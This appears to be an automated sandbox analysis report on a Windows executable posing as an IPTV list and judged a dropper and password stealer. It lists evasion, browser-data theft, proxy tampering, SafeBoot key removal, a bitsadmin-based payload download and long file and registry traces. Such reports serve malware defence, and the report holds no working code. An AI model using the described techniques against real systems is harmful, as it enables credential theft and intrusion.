
Summary
File Name:   Full_IPTV_LIST_31.05.2018_VIP.exe

File Type:   PE32 executable (GUI) Intel 80386, for MS Windows

SHA1:   16b493c5a8b014fd3f0eabb66c90f427fee4c84e

MD5:   ce76e34c248864c35169c1521ec38e1c


MALWARE

Valkyrie Final Verdict

DETECTION SECTION

Severity: High

Verdict: Malware

CLASSIFICATION

42%

33%

25%

17%

8%

Backdoor(2.43%)
Bot(0.40%)

Exploit(0.00%)

Pua(6.89%)

Trojan
Generic(3.03%)

Trojan
Downloader(4.09%)

Trojan
Dropper(40.69%)

Rogue(0.03%)Virus(0.51%)

Remote
Access

Trojan(0.00%)

Spyware(0.00%)

Rootkit(0.00%)

Trojan
Password

Stealer(41.77%)

Worm(0.17%)

Ransomware(0.00%)

HIGH LEVEL BEHAVIOR DISTRIBUTION

99.2%

Hooking (5)
Network (244)
Process (215)
Misc (206)
System (1344232)
Crypto (364)
Threading (47)
Synchronization (46)
Services (17)
Windows (46)
File System (1672)
Device (264)
Com (47)
Registry (7869)

   
   
   
   
   
   
   
   

ACTIVITY OVERVIEW

Malware Analysis System Evasion   3  (25.00%)
Networking   2  (16.67%)

Stealing of Sensitive Information   2  (16.67%)
Information Discovery   1  (8.33%)

Lowering of HIPS/ PFW/ Operating System Security Settings   1  (8.33%)
Cryptography   1  (8.33%)

Hooking and other Techniques for Hiding Protection   1  (8.33%)
Data Obfuscation   1  (8.33%)
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Activity Details

INFORMATION DISCOVERY

Reads data out of its own binary image





Show sources

NETWORKING

Attempts to connect to a dead IP:Port (5 unique times)

Performs some HTTP requests





Show sources

Show sources

LOWERING OF HIPS/ PFW/ OPERATING SYSTEM SECURITY SETTINGS

Attempts to block SafeBoot use by removing registry keys





Show sources

CRYPTOGRAPHY

At least one IP Address, Domain, or File Name was found in a crypto call





Show sources

STEALING OF SENSITIVE INFORMATION

Steals private information from local Internet browsers

Attempts to modify proxy settings





Show sources

HOOKING AND OTHER TECHNIQUES FOR HIDING PROTECTION

Creates RWX memory





Show sources

DATA OBFUSCATION

Drops a binary and executes it





Show sources
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MALWARE ANALYSIS SYSTEM EVASION

Possible date expiration check, exits too soon after checking local time

A process attempted to delay the analysis task.

Creates a hidden or system file





Show sources

Show sources

Show sources
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Behavior Graph

02:44:01 02:44:15 02:44:28

PID 2512
The malicious file created a child process as 16b493c5a8b014fd3f0eabb66c90f427fee4c84e.exe  (PPID 1656)02:44:01 Create Process

PID 1736
The malicious file created a child process as notepad++.exe  (PPID 2512)02:44:02 Create Process

PID 2432
The malicious file created a child process as sets.exe  (PPID 2512)02:44:02 Create Process

PID 2428
The malicious file created a child process as cmd.exe  (PPID 2432)02:44:04 Create Process

PID 1452
The malicious file created a child process as attrib.exe  (PPID 2428)02:44:05 Create Process

PID 2196
The malicious file created a child process as bitsadmin.exe  (PPID 2428)02:44:06 Create Process

PID 584
The malicious file created a child process as svchost.exe  (PPID 460)02:44:11 Create Process

PID 2828
The malicious file created a child process as svchost.exe  (PPID 460)02:44:17 Create Process

02:44:01
02:44:01

NtReadFile 
[ 59 times ]

02:44:02 Create Process

02:44:04 NtProtectVirtualMemory

02:44:06 NtReadFile

02:44:06
02:44:07

connect 
[ 2 times ]

02:44:14
02:44:28

ConnectEx 
[ 3 times ]

02:44:02
02:44:02

NtReadFile 
[ 6 times ]

02:44:03 Create Process

02:44:05 Create Process

02:44:06 Create Process

02:44:05 NtSetInformationFile

02:44:05 NtTerminateProcess

02:44:18 NtDelayExecution

02:44:18 RegOpenKeyExW

02:44:21 NtCreateFile

02:44:27 ConnectEx
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Behavior Summary

ACCESSED FILES

C:\Users\user\AppData\Local\Temp\<pi-ms-win-core-synch-l1-2-0.DLL

C:\Windows\System32\<pi-ms-win-core-synch-l1-2-0.DLL

C:\Windows\system\<pi-ms-win-core-synch-l1-2-0.DLL

C:\Windows\<pi-ms-win-core-synch-l1-2-0.DLL

C:\ProgramData\Oracle\Java\javapath\<pi-ms-win-core-synch-l1-2-0.DLL

C:\Windows\System32\wbem\<pi-ms-win-core-synch-l1-2-0.DLL

C:\Windows\System32\WindowsPowerShell\v1.0\<pi-ms-win-core-synch-l1-2-0.DLL

C:\Program Files\Microsoft Network Monitor 3\<pi-ms-win-core-synch-l1-2-0.DLL

C:\Program Files (x86)\Universal Extractor\<pi-ms-win-core-synch-l1-2-0.DLL

C:\Program Files (x86)\Universal Extractor\bin\<pi-ms-win-core-synch-l1-2-0.DLL

C:\Program Files (x86)\Windows Kits\8.1\Windows Performance Toolkit\<pi-ms-win-core-synch-l1-2-0.DLL

C:\Python27\<pi-ms-win-core-synch-l1-2-0.DLL

C:\Python27\Scripts\<pi-ms-win-core-synch-l1-2-0.DLL

C:\tools\sysinternals\<pi-ms-win-core-synch-l1-2-0.DLL

C:\tools\<pi-ms-win-core-synch-l1-2-0.DLL

C:\tools\IDA_Pro_v6\python\<pi-ms-win-core-synch-l1-2-0.DLL

C:\Users\user\AppData\Local\Temp\<pi-ms-win-core-fibers-l1-1-1.DLL

C:\Windows\System32\<pi-ms-win-core-fibers-l1-1-1.DLL

C:\Windows\system\<pi-ms-win-core-fibers-l1-1-1.DLL

C:\Windows\<pi-ms-win-core-fibers-l1-1-1.DLL

C:\ProgramData\Oracle\Java\javapath\<pi-ms-win-core-fibers-l1-1-1.DLL

C:\Windows\System32\wbem\<pi-ms-win-core-fibers-l1-1-1.DLL

C:\Windows\System32\WindowsPowerShell\v1.0\<pi-ms-win-core-fibers-l1-1-1.DLL

C:\Program Files\Microsoft Network Monitor 3\<pi-ms-win-core-fibers-l1-1-1.DLL

C:\Program Files (x86)\Universal Extractor\<pi-ms-win-core-fibers-l1-1-1.DLL

C:\Program Files (x86)\Universal Extractor\bin\<pi-ms-win-core-fibers-l1-1-1.DLL

C:\Program Files (x86)\Windows Kits\8.1\Windows Performance Toolkit\<pi-ms-win-core-fibers-l1-1-1.DLL

C:\Python27\<pi-ms-win-core-fibers-l1-1-1.DLL

C:\Python27\Scripts\<pi-ms-win-core-fibers-l1-1-1.DLL

C:\tools\sysinternals\<pi-ms-win-core-fibers-l1-1-1.DLL

C:\tools\<pi-ms-win-core-fibers-l1-1-1.DLL

C:\tools\IDA_Pro_v6\python\<pi-ms-win-core-fibers-l1-1-1.DLL
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C:\Users\user\AppData\Local\Temp\<pi-ms-win-core-localization-l1-2-1.DLL

C:\Windows\System32\<pi-ms-win-core-localization-l1-2-1.DLL

C:\Windows\system\<pi-ms-win-core-localization-l1-2-1.DLL

C:\Windows\<pi-ms-win-core-localization-l1-2-1.DLL

C:\ProgramData\Oracle\Java\javapath\<pi-ms-win-core-localization-l1-2-1.DLL

C:\Windows\System32\wbem\<pi-ms-win-core-localization-l1-2-1.DLL

C:\Windows\System32\WindowsPowerShell\v1.0\<pi-ms-win-core-localization-l1-2-1.DLL

C:\Program Files\Microsoft Network Monitor 3\<pi-ms-win-core-localization-l1-2-1.DLL

C:\Program Files (x86)\Universal Extractor\<pi-ms-win-core-localization-l1-2-1.DLL

C:\Program Files (x86)\Universal Extractor\bin\<pi-ms-win-core-localization-l1-2-1.DLL

C:\Program Files (x86)\Windows Kits\8.1\Windows Performance Toolkit\<pi-ms-win-core-localization-l1-2-1.DLL

C:\Python27\<pi-ms-win-core-localization-l1-2-1.DLL

C:\Python27\Scripts\<pi-ms-win-core-localization-l1-2-1.DLL

C:\tools\sysinternals\<pi-ms-win-core-localization-l1-2-1.DLL

C:\tools\<pi-ms-win-core-localization-l1-2-1.DLL

C:\tools\IDA_Pro_v6\python\<pi-ms-win-core-localization-l1-2-1.DLL

C:\Windows\Globalization\Sorting\sortdefault.nls

C:\Users\user\AppData\Local\Temp\DXGIDebug.dll

C:\Users\user\AppData\Local\Temp\lpk.dll

C:\Users\user\AppData\Local\Temp\usp10.dll

C:\Users\user\AppData\Local\Temp\clbcatq.dll

C:\Users\user\AppData\Local\Temp\comres.dll

C:\Users\user\AppData\Local\Temp\ws2_32.dll

C:\Users\user\AppData\Local\Temp\ws2help.dll

C:\Users\user\AppData\Local\Temp\psapi.dll

C:\Users\user\AppData\Local\Temp\ieframe.dll

C:\Users\user\AppData\Local\Temp\ntshrui.dll

C:\Users\user\AppData\Local\Temp\atl.dll

C:\Users\user\AppData\Local\Temp\setupapi.dll

C:\Users\user\AppData\Local\Temp\apphelp.dll

C:\Users\user\AppData\Local\Temp\userenv.dll

C:\Users\user\AppData\Local\Temp\netapi32.dll

C:\Users\user\AppData\Local\Temp\shdocvw.dll

C:\Users\user\AppData\Local\Temp\crypt32.dll

C:\Users\user\AppData\Local\Temp\msasn1.dll
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READ REGISTRY KEYS

C:\Users\user\AppData\Local\Temp\cryptui.dll

C:\Users\user\AppData\Local\Temp\wintrust.dll

C:\Users\user\AppData\Local\Temp\shell32.dll

C:\Users\user\AppData\Local\Temp\secur32.dll

C:\Users\user\AppData\Local\Temp\cabinet.dll

C:\Users\user\AppData\Local\Temp\oleaccrc.dll

C:\Users\user\AppData\Local\Temp\ntmarta.dll

C:\Users\user\AppData\Local\Temp\profapi.dll

C:\Users\user\AppData\Local\Temp\WindowsCodecs.dll

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\en-US

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\en-US

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Locale\00000409

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Language Groups\1

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\SideBySide\PreferExternalManifest

HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\ScrollInset

HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\DragDelay

HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\DragMinDist

HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\ScrollDelay

HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\ScrollInterval

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\DataStore_V1.0\Disable

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\DataStore_V1.0\DataFilePath

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane1

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane2

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane3

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane4

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane5

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane6

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane7

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane8

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane9

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane10

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane11

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane12
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HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane13

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane14

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane15

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane16

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\AutoComplete\AutoSuggest

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\AutoComplete\Always Use Tab

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{03C036F1-A186-11D0-824A-00AA005B4383}\InProcServer32\(Default)

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{00BB2763-6A77-11D0-A535-00C04FD7D062}\InProcServer32\(Default)

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\AutoComplete\Client\(Default)

HKEY_CURRENT_USER\Control Panel\Desktop\SmoothScroll

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\EnableBalloonTips

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ListviewAlphaSelect

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ListviewShadow

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\AccListViewV6

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\UseDoubleClickTimer

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes\Segoe UI

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\ProgramFilesDir

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\TIP\{0000897b-83df-4b96-be07-0fb58b01c4a4}\LanguageProfile\0x00000000\{0001bea3-ed56-483d-a2e2-
aeae25577436}\Enable

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\CTF\EnableAnchorContext

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\WMR\Disable

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{d35f944c-ffec-11e6-bdeb-806e6f6e6963}\Data

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{d35f944c-ffec-11e6-bdeb-
806e6f6e6963}\Generation

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{2400a2c4-ccb0-11e5-b7bd-806e6f6e6963}\Data

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{2400a2c4-ccb0-11e5-b7bd-
806e6f6e6963}\Generation

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{2400a2c5-ccb0-11e5-b7bd-806e6f6e6963}\Data

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{2400a2c5-ccb0-11e5-b7bd-
806e6f6e6963}\Generation

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{2400a2c6-ccb0-11e5-b7bd-806e6f6e6963}\Data

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{2400a2c6-ccb0-11e5-b7bd-
806e6f6e6963}\Generation

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.txt\(Default)

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.txt\UserChoice\Progid

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.txt\PerceivedType

HKEY_CURRENT_USER\Software\Classes\Applications\notepad++.exe\DocObject
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MODIFIED FILES

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.txt\DocObject

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\text\DocObject

HKEY_CURRENT_USER\Software\Classes\Applications\notepad++.exe\BrowseInPlace

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.txt\BrowseInPlace

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\text\BrowseInPlace

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.txt\Content Type

HKEY_CURRENT_USER\Software\Classes\Applications\notepad++.exe\IsShortcut

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.txt\IsShortcut

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\text\IsShortcut

HKEY_CURRENT_USER\Software\Classes\Applications\notepad++.exe\AlwaysShowExt

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.txt\AlwaysShowExt

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\text\AlwaysShowExt

HKEY_CURRENT_USER\Software\Classes\Applications\notepad++.exe\NeverShowExt

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.txt\NeverShowExt

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\text\NeverShowExt

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\KindMap\.txt

HKEY_CURRENT_USER\Software\Classes\Applications\notepad++.exe\NoStaticDefaultVerb

HKEY_CURRENT_USER\Software\Classes\Applications\notepad++.exe\shell\(Default)

HKEY_CURRENT_USER\Software\Classes\Applications\notepad++.exe\shell\open\NeverDefault

HKEY_CURRENT_USER\Software\Classes\Applications\notepad++.exe\shell\open\command\DelegateExecute

C:\Program Files (x86)\amd\__tmp_rar_sfx_access_check_18817156

C:\Program Files (x86)\amd\sets.exe

C:\Program Files (x86)\amd\IPTVFULLVIP.txt

C:\Users\user\AppData\Local\Temp\ytmp\t9766.bat

C:\Users\user\AppData\Local\Temp\ytmp\t9919.exe

C:\Users\user\AppData\Roaming\Notepad++\plugins\config\PluginManager.ini

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E49827401028F7A0F97B5576C77A26CB_7CE95D8DCA26FE957E7BD7D76F353B08

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E49827401028F7A0F97B5576C77A26CB_7CE95D8DCA26FE957E7BD7D76F353B08

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0E946D8537A75553FF5E356937AD24FE

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0E946D8537A75553FF5E356937AD24FE

C:\ProgramData\Microsoft\Network\Downloader\qmgr0.dat

Page 10



RESOLVED APIS

C:\ProgramData\Microsoft\Network\Downloader\qmgr1.dat

\??\PIPE\samr

C:\Users\user\AppData\Roaming\update\BITBD98.tmp

C:\Users\user\AppData\Roaming\update\settings.exe

kernel32.dll.InitializeCriticalSectionEx

kernel32.dll.FlsAlloc

kernel32.dll.FlsSetValue

kernel32.dll.FlsGetValue

kernel32.dll.LCMapStringEx

kernel32.dll.SetDllDirectoryW

kernel32.dll.SortGetHandle

kernel32.dll.SortCloseHandle

ole32.dll.OleInitialize

cryptbase.dll.SystemFunction036

uxtheme.dll.ThemeInitApiHook

user32.dll.IsProcessDPIAware

user32.dll.LoadIconW

user32.dll.LoadBitmapW

comctl32.dll.InitCommonControlsEx

shell32.dll.SHGetMalloc

ole32.dll.CoGetMalloc

user32.dll.DialogBoxParamW

dwmapi.dll.DwmIsCompositionEnabled

comctl32.dll.RegisterClassNameW

uxtheme.dll.EnableThemeDialogTexture

uxtheme.dll.OpenThemeData

uxtheme.dll.IsThemePartDefined

uxtheme.dll.GetThemeMargins

uxtheme.dll.GetThemeBool

uxtheme.dll.GetThemeInt

comctl32.dll.HIMAGELIST_QueryInterface

comctl32.dll.DrawShadowText

comctl32.dll.DrawSizeBox
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comctl32.dll.DrawScrollBar

comctl32.dll.SizeBoxHwnd

comctl32.dll.ScrollBar_MouseMove

comctl32.dll.ScrollBar_Menu

comctl32.dll.HandleScrollCmd

comctl32.dll.DetachScrollBars

comctl32.dll.AttachScrollBars

comctl32.dll.CCSetScrollInfo

comctl32.dll.CCGetScrollInfo

comctl32.dll.CCEnableScrollBar

comctl32.dll.QuerySystemGestureStatus

uxtheme.dll.#49

uxtheme.dll.CloseThemeData

uxtheme.dll.SetWindowTheme

uxtheme.dll.GetThemeFont

uxtheme.dll.GetThemeColor

imm32.dll.ImmIsIME

user32.dll.GetWindowRect

user32.dll.GetClientRect

user32.dll.GetWindowTextW

user32.dll.SetWindowTextW

user32.dll.GetSystemMetrics

user32.dll.GetWindow

user32.dll.SendMessageW

gdi32.dll.GetLayout

gdi32.dll.GdiRealizationInfo

gdi32.dll.FontIsLinked

advapi32.dll.RegOpenKeyExW

advapi32.dll.RegQueryInfoKeyW

gdi32.dll.GetTextFaceAliasW

advapi32.dll.RegEnumValueW

advapi32.dll.RegCloseKey

advapi32.dll.RegQueryValueExW

gdi32.dll.GetFontAssocStatus

advapi32.dll.RegQueryValueExA
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DELETED FILES

DELETED REGISTRY KEYS

REGISTRY KEYS

advapi32.dll.RegEnumKeyExW

gdi32.dll.GdiIsMetaPrintDC

user32.dll.SendDlgItemMessageW

user32.dll.GetDC

gdi32.dll.GetDeviceCaps

user32.dll.ReleaseDC

user32.dll.GetDlgItem

user32.dll.GetClassNameW

user32.dll.FindWindowExW

shlwapi.dll.SHAutoComplete

ole32.dll.CoCreateInstance

comctl32.dll.#320

C:\Program Files (x86)\amd\__tmp_rar_sfx_access_check_18817156

C:\Users\user\AppData\Local\Temp\ytmp\t9766.bat

C:\Users\user\AppData\Local\Temp\ytmp\t9919.exe

C:\Users\user\AppData\Roaming\Notepad++\plugins\config\plugin_install_temp

C:\Users\user\AppData\Roaming\Notepad++\plugins\config\PluginManagerGpup.xml

C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies\user@downloads.sourceforge[1].txt

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyServer

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyOverride

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\AutoConfigURL

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\CustomLocale

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\en-US

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\ExtendedLocale

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\en-US

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Locale
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HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Locale\Alternate Sorts

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Language Groups

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Locale\00000409

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Language Groups\1

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SideBySide

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\SideBySide\PreferExternalManifest

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SideBySide\AssemblyStorageRoots

HKEY_CURRENT_USER

HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows

HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\ScrollInset

HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\DragDelay

HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\DragMinDist

HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\ScrollDelay

HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\ScrollInterval

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontLink\SystemLink

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\DataStore_V1.0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\DataStore_V1.0\Disable

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\DataStore_V1.0\DataFilePath

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane1

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane2

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane3

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane4

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane5

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane6

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane7

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane8

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane9

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane10

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane11

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane12

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane13

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane14

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane15

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane16
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HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Segoe UI

HKEY_LOCAL_MACHINE\Software\Policies

HKEY_CURRENT_USER\Software\Policies

HKEY_CURRENT_USER\Software

HKEY_LOCAL_MACHINE\Software

HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\CurrentVersion\Explorer\AutoComplete

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\AutoComplete

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Explorer\AutoComplete

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\AutoComplete

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\AutoComplete\AutoSuggest

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\AutoComplete

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\AutoComplete\Always Use Tab

HKEY_CLASSES_ROOT\CLSID\{03C036F1-A186-11D0-824A-00AA005B4383}\InProcServer32

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{03C036F1-A186-11D0-824A-00AA005B4383}\InProcServer32\(Default)

HKEY_CLASSES_ROOT\CLSID\{00BB2763-6A77-11D0-A535-00C04FD7D062}\InProcServer32

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{00BB2763-6A77-11D0-A535-00C04FD7D062}\InProcServer32\(Default)

